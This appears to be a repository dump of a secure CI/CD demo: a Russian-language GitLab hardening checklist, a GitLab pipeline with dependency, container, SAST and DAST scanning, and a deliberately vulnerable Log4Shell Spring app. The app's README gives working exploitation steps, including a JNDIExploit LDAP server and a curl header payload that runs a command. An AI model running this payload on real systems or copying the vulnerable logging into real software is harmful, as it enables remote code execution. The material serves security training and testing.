@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/settings.gradle
================================================
rootProject.name = 'log4shell-vulnerable-app'
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java
================================================
package fr.christophetd.log4shell.vulnerableapp;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java
================================================
package fr.christophetd.log4shell.vulnerableapp;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulnerableAppApplication {
public static void main(String[] args) {
SpringApplication.run(VulnerableAppApplication.class, args);
}
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/src/main/resources/application.properties
================================================
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/gitlab_instance_sec_checklist/README.md
================================================
# Security in Gitlab instance check-list
- Общие рекомендации по безопасности. Пройдите по общему [чеклисту по безопасности от Gitlab](https://docs.gitlab.com/ee/security/). Там описаны ограничения: ssh ключей, webhooks, раннеров и др.
- Работа с Docker изнутри Gitlab:
- не использовать shell executor/docker-in-docker(dind)/Docker socket binding, т.к. дает доступ к docker socket и priv mode. Подробности [в статье](https://blog.nestybox.com/2020/10/21/gitlab-dind.html). Безопасно использовать, например [kaniko](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html)
- придерживаться всех [лучших практик по безопасной работе с докер](https://docs.docker.com/engine/security/) образами без использования priveleged и ограниченные cap [согласно статье](https://docs.gitlab.com/runner/security/)
- Интеграция с Kubernetes:
- не использовать deprecated способ интеграции gitlab с k8s [certificate-based](https://docs.gitlab.com/ee/user/infrastructure/clusters/) по причине использования sa с cluster-admin и необходимости открытия k8s-api во внешний мир. Безопасным способом интеграции является [Gitlab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/)
- для деплоя в k8s использовать новый способ [ci/cd tunnel](https://docs.gitlab.com/ee/user/clusters/agent/ci_cd_tunnel.html), которые не требует связанности между ранером и k8s
- Использование env variables:
- используйте [protected variables](https://docs.gitlab.com/ee/ci/variables/#protect-a-cicd-variable) для ограничения доступа и [mask variables](https://docs.gitlab.com/ee/ci/variables/#mask-a-cicd-variable) для маскирования в логах
- не используйте секреты в коде, а также используйте инструмент [Secret Scanning](https://docs.gitlab.com/ee/user/application_security/secret_detection/) для поиска подобных ошибок
- Разграничение доступа:
- выдавайте доступ в проект только необходимым людям и выдавайте им минимально необходимые права
- используйте механизм [groups of projects](https://docs.gitlab.com/ee/user/group/)
- включите ограничения подключений с конкретных ip адресов к gitlab instance на уровне gitlab. GroupName -> Settings – > General – > Permissions, LFS, 2FA
- включите требование по 2FA. GroupName -> Settings – > General – > Permissions, LFS, 2FA
- настройте [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) с вашим корпоративным IDP для того. В противном случае придется управлять локальными пользователями со всеми минусами, локальными credentials и т.д..
- по возможности отключите возможность fork. Project settings under general -> Visibility, project features, permissions.
- Безопасная конфигурация Gitlab instance:
- старайтесь ограничить сетевой доступ Gitlab instance с внешним миром за пределами облака. [Инструкция:Ограничение сетевого доступа Managed Gitlab Instance с внешним миром](https://github.com/yandex-cloud/yc-solution-library-for-security/tree/master/secure_ci_cd/secure_ci_cd_with_webinar/gitlab_instance_sec_checklist/gitlab_instance_isolate.md)
- используйте [User and IP rate limits](https://docs.gitlab.com/ee/user/admin_area/settings/user_and_ip_rate_limits.html) для предотвращения отказа в обслуживании
- Безопасная конфигурация runners:
- не используйте shell executors, т.к. docker и k8s executors более изолированные и безопасные. [Сравнение](https://docs.gitlab.com/runner/executors/
)
- ограничиваейте сетевой доступ runners с помощью [Yandex Cloud Security Groups](https://cloud.yandex.ru/docs/vpc/concepts/security-groups), чтобы они не имели бесконтрольного входящего и исходящего доступа
- используйте механизм [назначения сервисных аккаунтов на VM](https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm ) для взаимодействия с облачным API изнутри Jobs. Он более безопасен чем указание credentials через env
- Используйте базовые рекомендации для ОС: Patching, vulnerability scanning, user isolation, transport security, secure boot, machine identity, etc. Например, NIST 800-53
- Аудит и анализ событий безопасности: настройте [экспорт аудит логов](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) в стороннюю систему для анализа событий (например [Yandex Managed Service for Elasticsearch в Yandex Cloud](https://cloud.yandex.ru/services/managed-elasticsearch)) либо Splunk
- Используйте [Signing Commit (gpg)](https://docs.gitlab.com/ee/user/project/repository/gpg_signed_commits/) для подписи commits
- Используйте принцип как минимум 2-х персон, которые выполняют approve внесения изменений в код. [Merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/)
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/gitlab_instance_sec_checklist/gitlab_instance_isolate.md
================================================
# Ограничение сетевого доступа Managed Gitlab Instance с внешним миром
Сценарий в котором обращение к managed gitlab происходят только из сетей облака (доступ из интернета не используется)
## Инструкция
- смотрим приватный ip адрес gitlab instance через Облачные сети - подсеть - ip адреса - ресурс "label_resource-type-gitlab.instance"
- добавим новую [внутреннюю dns зону](https://cloud.yandex.ru/docs/dns/operations/zone-create-private) в cloud dns для gitlab.yandexcloud.net
- добавим [a запись](https://cloud.yandex.ru/docs/dns/operations/resource-record-create) для <имя вашего инстанса>.gitlab.yandexcloud.net.
- создадим новую ВМ для runner либо обновим кеш в текущей ВМ
- откроем сетевой доступ по 443 порту (с необходимых подсетей облака) для ВМ в рамках VPC на дефолтной [Yandex Cloud Security Groups](https://cloud.yandex.ru/docs/vpc/concepts/security-groups) (на текущий момент на gitlab instance невозможно повесить отдельную SG, используется default SG)
## Результат
После чего при регистрации runners или доступа к UI возможно обращаться по имени gitlab, но резолв будет происходить по приватному ip адресу
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/.gitlab-ci.yml
================================================
#Short description of steps:
#-Container scanning
#-build_docker_image
#-container_scanning
#-cs-fail-on-detection (fail if you have critical vuln)
#-Push to prod registry
#-Dependency-checker
#-gemnasium-maven-dependency_scanning
#-dc-fail-on-detection (fail if you have critical vuln)
#-SAST
#-DAST
#-deploy (deploy app to staging k8s)
#-DAST scan
#-Deploy to prod (only for merged: after approve of merge request)
include:
- template: Security/Dependency-Scanning.gitlab-ci.yml
- template: Security/Container-Scanning.gitlab-ci.yml
- '.push_to_prod_registry.yml' #Push to prod registry with kaniko
- template: Security/DAST.latest.gitlab-ci.yml
- template: Security/SAST.gitlab-ci.yml
- template: Security/Secret-Detection.gitlab-ci.yml
#----Container scanning------------------------------------------------
#Build docker for container scanning with kaniko
build_docker_image:
stage: build
image:
name: gcr.io/kaniko-project/executor:debug
entrypoint: [""]
script:
- mkdir -p /kaniko/.docker
- echo "{\"auths\":{\"${CI_REGISTRY}\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
- >-
/kaniko/executor
--context "${CI_PROJECT_DIR}"/log4shell-vulnerable-app
--dockerfile "${CI_PROJECT_DIR}/log4shell-vulnerable-app/Dockerfile"
--destination "${CI_REGISTRY_IMAGE}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}"
#Container scanning job
container_scanning:
stage: test
variables:
CI_APPLICATION_REPOSITORY: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG
CI_APPLICATION_TAG: $CI_COMMIT_SHA
CS_DISABLE_LANGUAGE_VULNERABILITY_SCAN: "false"
#We check results of dependency-checker and if it has "critical" vuln - fail
cs-fail-on-detection:
variables:
REPORT_NAME: gl-dependency-scanning-report.json # Name of artifact that contain security report
stage: check-stage
script:
- apt-get update
- apt-get install jq -y
- apt-get install curl -y
#Show Critical vulns report full
- jq -r '.vulnerabilities[] | select(.severity=="Critical")' $REPORT_NAME
#Show summary
- jq -r '["CVE", "FILE", "SOLUTION"], ["--","--","--","--"], (.vulnerabilities[] | select(.severity=="Critical") | [.identifiers[1].name, .location.file, .solution]) | @tsv' $REPORT_NAME
- echo "Please fix this Critical vuln to pass pipeline (if its false-positive - check this point in security dashboard)"
#Find if any Critical vulns
- jq '.vulnerabilities[] | .severity' $REPORT_NAME | grep 'Critical' && exit 1 || exit 0
#Push to prod registry with kaniko
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
push_to_prod_registry:
stage: push
variables:
REGISTRY: "cr.yandex"
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
DOCKER_CUSTOM_SUBFOLDER: "log4shell-vulnerable-app"
#-----Dependency-checker------------------------------------------------
#Dependency-checker jobs
gemnasium-maven-dependency_scanning:
stage: test
needs:
- container_scanning
artifacts:
paths:
- gl-dependency-scanning-report.json
name: ds.json
#We check results of dependency-checker and if it has "critical" vuln - fail
dc-fail-on-detection:
variables:
REPORT_NAME: gl-dependency-scanning-report.json # Name of artifact that contain security report
stage: check-stage
needs:
- gemnasium-maven-dependency_scanning
script:
- apt-get update
- apt-get install jq -y
- apt-get install curl -y
#Show Critical vulns report full
- jq -r '.vulnerabilities[] | select(.severity=="Critical")' gl-dependency-scanning-report.json
#Show summary
- jq -r '["CVE", "FILE", "SOLUTION"], ["--","--","--","--"], (.vulnerabilities[] | select(.severity=="Critical") | [.identifiers[1].name, .location.file, .solution]) | @tsv' gl-dependency-scanning-report.json
- echo "Please fix this Critical vuln to pass pipeline (if its false-positive - check this point in security dashboard)"
#Find if any Critical vulns
- jq '.vulnerabilities[] | .severity' $REPORT_NAME | grep 'Critical' && exit 1 || exit 0
#-----SAST------------------------------------------------
sast:
stage: test
variables:
SCAN_KUBERNETES_MANIFESTS: "true" #enable kubesec for manifests and charts
artifacts:
paths:
- gl-sast-report.json
#-----DAST------------------------------------------------
#Deploy image to test k8s
deploy:
stage: deploy
variables:
REGISTRY: "cr.yandex"
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
image:
name: bitnami/kubectl:latest
entrypoint: [""]
script:
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq
- kubectl config use-context my-group/k8s-config2:my-agent
- sed -ie "s/image_name/$REGISTRY\\/$YC_REGISTRY_ID\\/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA/g" k8s-manifest.yaml
- kubectl apply -f k8s-manifest.yaml
- export APP_IP=$(kubectl get svc service-my-vuln-app -o json | ./jq -r '.status.loadBalancer.ingress[0].ip')
- echo $APP_IP
#DAST scan
dast:
stage: dast
variables:
DAST_WEBSITE: http://51.250.10.27 #change to your domain name of app in staging
DAST_FULL_SCAN_ENABLED: "true"
DAST_SKIP_TARGET_CHECK: "true"
DAST_INCLUDE_ALPHA_VULNERABILITIES: "true"
DAST_ZAP_CLI_OPTIONS: "-config replacer.full_list(0).description=X-Api-Version -config replacer.full_list(0).enabled=true -config replacer.full_list(0).matchtype=REQ_HEADER -config replacer.full_list(0).matchstr=X-Api-Version -config replacer.full_list(0).regex=false -config replacer.full_list(0).replacement=test -config scanner.injectable=11 -config scanner.scanHeadersAllRequests=true -addonupdate -addoninstall ascanrulesAlpha -config oast.boast.uri=https://odiss.eu:1337/events -config oast.boast.uri=https://odiss.eu:1337/events -config oast.activeScanService=BOAST -config oast.boast.pollingFrequency=10"
#-----Deploy-to-prod------------------------------------------------
deploy_to_prod:
stage: deploy-prod
variables:
REGISTRY: "cr.yandex"
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
image:
name: bitnami/kubectl:latest
entrypoint: [""]
script:
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq
- kubectl config use-context my-group/k8s-cilium:cilium-agent
- sed -ie "s/image_name/$REGISTRY\\/$YC_REGISTRY_ID\\/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA/g" k8s-manifest.yaml
- kubectl apply -f k8s-manifest.yaml
- export APP_IP=$(kubectl get svc service-my-vuln-app -o json | ./jq -r '.status.loadBalancer.ingress[0].ip')
- echo $APP_IP
only:
- main
#Stages of pipeline
stages:
- build
- test
- check-stage
- push
- deploy
- dast
- deploy-prod
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/.push_to_prod_registry.yml
================================================
#Push to prod registry with kaniko
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
push_to_prod_registry:
stage: push
variables:
REGISTRY: "cr.yandex" #leave it if your registry is yandex
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a" #set your registry ID
DOCKER_CUSTOM_SUBFOLDER: "" #if your folder with docker files has some custom path
image:
name: gcr.io/kaniko-project/executor:debug
entrypoint: [""]
script:
- mkdir -p /kaniko/.docker
#install jq
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq && cp jq /kaniko
#get sa token from metadata
- wget --header Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token && cp token /kaniko
- echo "{\"auths\":{\"cr.yandex\":{\"auth\":\"$(printf "%s:%s" "iam" "$(cat /kaniko/token | ./jq -r '.access_token')" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
- >-
/kaniko/executor
--context "${CI_PROJECT_DIR}"/"${DOCKER_CUSTOM_SUBFOLDER}"
--dockerfile "${CI_PROJECT_DIR}/"${DOCKER_CUSTOM_SUBFOLDER}"/Dockerfile"
--destination "${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}"
#delete metadata file
- rm /kaniko/token
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/README.md
================================================
# Обнаружение уязвимостей в CI/CD (Ultimate лицензия)
## Схема
## Схема (из чего состоит pipeline)
#Short description of steps:
- Container scanning
- build_docker_image
- container_scanning
- cs-fail-on-detection (fail if you have critical vuln)
- Push to prod registry
- Dependency-checker
- gemnasium-maven-dependency_scanning
- dc-fail-on-detection (fail if you have critical vuln)
- SAST
- DAST
- deploy (deploy app to staging k8s)
- DAST scan
- Deploy to prod (only for merged: after approve of merge request)
## Инструкция как использовать
Вы можете скачать данные файлы и использовать их в качестве security pipeline для вашего проекта. Подробности из вебинара размещены на корневой странице раздела.
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/k8s-manifest.yaml
================================================
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-vuln-app
spec:
replicas: 1
selector:
matchLabels:
app: myvulnapp
template:
metadata:
labels:
app: myvulnapp
spec:
imagePullSecrets:
- name: regcred
containers:
- name: app
image: image_name
---
apiVersion: v1
kind: Service
metadata:
name: service-my-vuln-app
spec:
ports:
- port: 80 # Порт сетевого балансировщика, на котором будут обслуживаться пользовательские запросы.
name: plaintext
targetPort: 8080 # Порт контейнера, на котором доступно приложение.
selector: # Метки селектора, использованные в шаблоне подов при создании объекта Deployment.
app: myvulnapp
type: LoadBalancer
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/Dockerfile
================================================
FROM gradle:7.3.1-jdk17 AS builder
COPY --chown=gradle:gradle . /home/gradle/src
WORKDIR /home/gradle/src
RUN gradle bootJar --no-daemon
FROM openjdk:8u181-jdk-alpine
#FROM openjdk:18-jdk-alpine
EXPOSE 8080
RUN mkdir /app
COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
CMD ["java", "-jar", "/app/spring-boot-application.jar"]
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/README.md
================================================
# Log4Shell sample vulnerable application (CVE-2021-44228)
This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).
It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.
## Running the application
Run it:
```bash
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```
Build it yourself (you don't need any Java-related tooling):
```bash
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
```
## Exploitation steps
*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*
**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528)). Just append `web.archive.org` in front of the JNDIExploit download URL below to use the version cached by the Wayback Machine.*
* Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server
```bash
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
```
* Then, trigger the exploit using:
```bash
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```
* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```
* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:
```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```
## Reference
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
## Contributors
[@christophetd](https://twitter.com/christophetd)
[@rayhan0x01](https://twitter.com/rayhan0x01)
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/build.gradle
================================================
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'fr.christophetd.log4shell'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/gradle/wrapper/gradle-wrapper.properties
================================================
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.1-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/ultimate_secure_ci_cd/log4shell-vulnerable-app/gradlew
================================================
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
